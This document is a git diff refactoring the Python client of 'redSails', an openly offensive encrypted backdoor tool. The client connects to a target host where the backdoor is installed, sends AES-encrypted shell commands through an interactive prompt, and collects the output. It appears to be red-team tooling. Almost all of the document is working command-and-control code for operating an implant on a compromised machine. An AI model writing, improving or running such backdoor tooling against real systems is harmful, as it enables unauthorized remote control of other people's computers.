diff --git a/client/redSailsClient.py b/client/redSailsClient.py old mode 100644 new mode 100755 index b2ecfec..e952f02 --- a/client/redSailsClient.py +++ b/client/redSailsClient.py @@ -1,118 +1,117 @@ -#!/usr/bin/python - +#!/usr/bin/env python +import argparse +import cmd import socket import sys -import time - -from optparse import OptionParser from rsClientCrypto.rsCrypto import AESCipher +from rsUtilities.utilities import Banner +from rsUtilities.utilities import Utilities -BANNER = """ - @@@@@@@ @@@@@@@@ @@@@@@@ ,/|\, - @@@@@@@@ @@@@@@@@ @@@@@@@@ ,/' |\ \, - @@! @@@ @@! @@! @@@ ,/' | | \ - !@! @!@ !@! !@! @!@ ,/' | | | - @!@!!@! @!!!:! @!@ !@! ,/' |/ | - !!@!@! !!!!!: !@! !!! ,/__SAILS__|-----' - !!: :!! !!: !!: !!! ___.....-----''-----/ - :!: !:! :!: :!: !:! \ o o o o / - ::~ ~:::~ ~::~::::~ :::: ::~^-^~^`~^~^~`~^~`~^^~^~-^~^ - ~-^~^-`~^~-^~^`^~^-^~^`^~^-~^~-^~^-`~^~-^~^`^~^-^~^`^~ - - """ - -# Starting shell handler -def shell(sock, target, password): - AESCrypto = AESCipher(password) - more = True - resp = "" - cmd = "" - line = "" - term = "redsails> " - try: - with open("redSails.log", "a") as xpltLog: - xpltLog.write("*** Gained command shell on host " + str(target) + "\r\n") - - print BANNER - - while True: - cmd = raw_input(term) - - if cmd.strip().lower() == "exit": - sock.send(AESCrypto.encrypt(cmd.strip())) - return - - else: - sock.send(AESCrypto.encrypt(cmd.strip())) - - completeResponse = "" - resp = AESCrypto.decrypt(sock.recv(2048)) - - while resp.strip() != "SEG::END": - completeResponse += resp - - dSEGMOORE = "SEG::MORE" - sock.send(AESCrypto.encrypt(dSEGMOORE)) - - resp = AESCrypto.decrypt(sock.recv(2048)) - - print completeResponse - - except Exception as e: - print "[!] Received an ERROR in shell() - \n%s" % e - sock.close() - return - - # Because you just never know, thats why... - sock.close() - return -def main(): - parser = OptionParser() - parser.add_option("-p", "--password", action="store", dest="password", - help="Password used to encrypt/decrypt backdoor traffic", - type=str, default=None) +class ShellHandler(cmd.Cmd): + """ + Interactive shell handler + """ + def __init__(self, sock, ip, password): + cmd.Cmd.__init__(self) + utilities = Utilities() + self.logger = utilities.set_logging() + + self.sock = sock + self.ip = ip + self.AESCrypto = AESCipher(password) + + self.intro = Banner.SHOW + self.prompt = 'redsails> ' + + self.logger.info("Connected to {0}".format(self.ip)) + + def emptyline(self): + pass + + def default(self, line): + self.console(line.rstrip()) + + def console(self, command): + response = self.send(command) + + if response is None: + print_error('An error has occured, exiting') + self.do_EOF + else: + print(response) - parser.add_option("-t", "--target-ip", action="store", dest="target_ip", - help="Target IP address with backdoor installed", - type=str, default=None) + def send(self, command, prefix='SHELL::'): + """ + Send a command to the redSails implant + """ + full_response = '' - parser.add_option("-o", "--open-port", action="store", dest="open_port", - help="Open backdoor port on target machine", - type=int, default=None) + self.sock.send(self.AESCrypto.encrypt(prefix + command)) + response = self.AESCrypto.decrypt(self.sock.recv(2048)) + while response.strip() != 'SEG::END': + try: + full_response += response - (options, args) = parser.parse_args() + dSEGMOORE = 'SEG::MORE' + self.sock.send(self.AESCrypto.encrypt(dSEGMOORE)) + response = self.AESCrypto.decrypt(self.sock.recv(2048)) + except Exception as error: + return None + + return full_response + + def do_EOF(self, line='exit'): + self.sock.send(self.AESCrypto.encrypt(line)) + self.logger.info("Disconnected from {0}".format(self.ip)) + + try: + self.sock.close() + except Exception as error: + print_warn('Failed to close connection gracefully') + sys.exit(0) + + return True + + def help_EOF(self): + print('Type \'exit\' to quit') + + do_exit = do_EOF + help_exit = help_EOF + + +def main(): + parser = argparse.ArgumentParser(description=(Banner.SHOW), formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument('-t', '--target-ip', dest='target_ip', help='Target IP address with backdoor installed', required=True) + parser.add_argument('-o', '--open-port', dest='open_port', help='Open backdoor port on target machine', type=int, required=True) + parser.add_argument('-p', '--password', dest='password', help='Password used to encrypt/decrypt backdoor traffic', required=True) + args = parser.parse_args() - if (options.password == None) or (options.target_ip == None) or (options.open_port == None): - print BANNER - parser.print_help() - return 0 + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + sock.connect((args.target_ip, args.open_port)) + except Exception as error: + print_error("Failed to connect to backdoor at {0}".format(args.target_ip)) + else: + ShellHandler(sock, args.target_ip, args.password).cmdloop() - target_ip = options.target_ip - target_port = options.open_port - try: +def print_status(message): + print("\033[1m\033[34m[*]\033[0m {0}".format(message)) - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((target_ip, target_port)) - except Exception as e: - print "[!] Failed to connect to backdoor..." - print e +def print_good(message): + print("\033[1m\033[32m[+]\033[0m {0}".format(message)) - shell(s, target_ip, options.password) - print "[-] Disconnected from " + target_ip +def print_warn(message): + print("\033[1m\033[33m[!]\033[0m {0}".format(message)) - try: - s.close() - sys.exit(0) - except Exception as e: - print "[!] Graceful connection close failed..." - print e - sys.exit(1) +def print_error(message): + print("\033[1m\033[31m[-]\033[0m {0}".format(message)) if __name__ == '__main__': - main() + main() diff --git a/client/requirements.txt b/client/requirements.txt new file mode 100644 index 0000000..4d76810 --- /dev/null +++ b/client/requirements.txt @@ -0,0 +1 @@ +pbkdf2 diff --git a/client/rsUtilities/__init__.py b/client/rsUtilities/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/client/rsUtilities/utilities.py b/client/rsUtilities/utilities.py new file mode 100644 index 0000000..dd9a69e --- /dev/null +++ b/client/rsUtilities/utilities.py @@ -0,0 +1,41 @@ +import logging.handlers + + +class Utilities(object): + + def set_logging(self): + """ + Configure the basic logging environment for the application + """ + root_logger = logging.getLogger('redSails') + root_logger.setLevel(logging.INFO) + + log_formatter = logging.Formatter('%(asctime)s [%(levelname)s] %(message)s') + file_handler = logging.FileHandler('redSails.log') + file_handler.setFormatter(log_formatter) + root_logger.addHandler(file_handler) + + std_formatter = logging.Formatter("\033[1m\033[32m[+]\033[0m %(message)s") + console_handler = logging.StreamHandler() + console_handler.setFormatter(std_formatter) + root_logger.addHandler(console_handler) + + return root_logger + + +class Banner(object): + """ + redSails banner + """ + SHOW = """ + @@@@@@@ @@@@@@@@ @@@@@@@ ,/|\, + @@@@@@@@ @@@@@@@@ @@@@@@@@ ,/' |\ \, + @@! @@@ @@! @@! @@@ ,/' | | \ + !@! @!@ !@! !@! @!@ ,/' | | | + @!@!!@! @!!!:! @!@ !@! ,/' |/ | + !!@!@! !!!!!: !@! !!! ,/__SAILS__|-----' + !!: :!! !!: !!: !!! ___.....-----''-----/ + :!: !:! :!: :!: !:! \ o o o o / + ::~ ~:::~ ~::~::::~ :::: ::~^-^~^`~^~^~`~^~`~^^~^~-^~^ + ~-^~^-`~^~-^~^`^~^-^~^`^~^-~^~-^~^-`~^~-^~^`^~^-^~^`^~ +"""